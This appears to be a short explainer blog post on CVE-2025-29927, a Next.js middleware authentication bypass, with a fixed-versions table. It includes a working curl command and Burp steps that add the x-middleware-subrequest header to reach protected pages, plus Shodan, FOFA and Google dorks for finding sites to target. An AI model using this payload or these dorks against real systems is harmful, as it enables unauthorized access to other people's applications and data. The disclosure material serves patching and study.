🔒 CVE-2025-29927 – Middleware Bypass in Next.js Explained Simply

 📌 Introduction

CVE-2025-29927 is a critical vulnerability in Next.js, a popular open-source React framework by Vercel. This flaw allows attackers to bypass middleware-based authentication and authorization, gaining access to protected endpoints without permission. In this post, I’ll break it down simply for beginners and fellow developers.

 

💡 What is Next.js?

Next.js is a React-based framework that helps developers build fast, scalable web apps. It offers:

• ⚡ Automatic Code Splitting – Sends only necessary code to the browser.

• 🌐 SSR & SSG – Server-side rendering and static site generation for performance and SEO.

• 🔗 API Routes – Handle backend logic within the same app.

• 🛡️ Middleware – Add custom logic (auth, logging, redirects) before reaching routes.

 

🔐 Understanding Middleware in Next.js

Middleware runs before the request reaches a page or API route. Common uses:

• ✅ Authentication & Authorization

• 📊 Request Logging

• 🔀 Header or URL Modifications

   

  ⚠️ What is CVE-2025-29927?

  This CVE allows attackers to bypass middleware authentication due to improper validation. An attacker can manipulate cookies or headers to skip login checks and access protected areas.

  ---

  🧪 How to Identify & Exploit It

  ✅ Step 1: Check if a site uses Next.js

  Use tools like:

• Wappalyzer extension

• Look for:

  • /_next/static/chunks/

  • Response header: X-Powered-By: Next.js


🚨 Step 3: Bypass Auth (Exploit)

Use curl: 

curl -H "x-middleware-subrequest: middleware:middleware:middleware" https://target.com/dashboard

 

Using Burp Suite:

• Send request to Repeater.

• Add the header:

  x-middleware-subrequest: middleware:middleware:middleware:middleware
  
  
  
  🕵️ Dorks for Target Discovery
  
  Shodan: x-middleware-rewrite, http.html:"/_next/static"
  
  FOFA: body="/_next/static"
  
  Google: inurl:"/_next" AND intext:"next.config.js"
  

🔥 Impact of CVE-2025-29927

• 🚫 Unauthorized access to sensitive data

• 🚀 Privilege escalation (admin access)

• 💣 Full application compromise

---

📌 Affected Versions

Version	Fixed In
Next.js 15.x	15.2.3 or later
Next.js 14.x	14.2.25 or later
Next.js 13.x	13.5.9 or later
Next.js 12.x	12.3.5 or later